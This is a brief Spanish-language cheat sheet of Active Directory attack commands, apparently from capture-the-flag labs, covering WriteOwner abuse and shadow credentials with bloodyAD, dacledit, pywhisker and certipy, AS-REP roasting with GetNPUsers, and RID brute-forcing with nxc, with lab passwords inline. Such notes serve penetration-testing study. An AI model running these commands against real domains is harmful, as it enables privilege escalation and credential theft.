Consejos AD

19 jun 2025 Apunte técnico

WriteOwner

Si tenemos permisos de WriteOwner sobre un usuario (por ejemplo somos ryan sobre ca_svc):

terminal

bloodyAD --host '10.10.11.51' -d 'escapetwo.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'pywhisker -d "sequel.htb" -u "ryan" -p "WqSZAF6CysDQbGb3" --target "ca_svc" --action "add"# O shadow credentials con certipycertipy-ad shadow auto -u p.agila@fluffy.htb -account ca_svc

ASREPRoasting

Técnica parecida a Kerberoasting que crackea offline las contraseñas de usuarios con el atributo DONT_REQ_PREAUTH (no se les requiere pre-autenticación).

terminal

GetNPUsers INLANEFREIGHT.LOCAL/wley:transporter@4 -dc-ip 172.16.5.5 -request# Sin contraseñas pero con usuariosGetNPUsers spookysec.local/ -no-pass -dc-ip 10.10.148.175 -usersfile usuariosvalidos

Herramientas útiles sin credenciales: Kerberoasting, ASREPRoasting, Password Spraying, bloodhound-python, envenenamiento, enum4linux-ng/rpcclient (enumdomusers), Kerbrute, Rubeus.

Si no tienes nada, enumera con kerbrute; si sale un usuario como guest, usa rid-brute:

terminal

$ nxc smb 10.10.11.35 -u guest -p '' --rid-brute | grep SidTypeUser

Kerberos

Es recomendable NO usar IP, usar el nombre del dominio:

terminal

$ nxc smb dc01.vintage.htb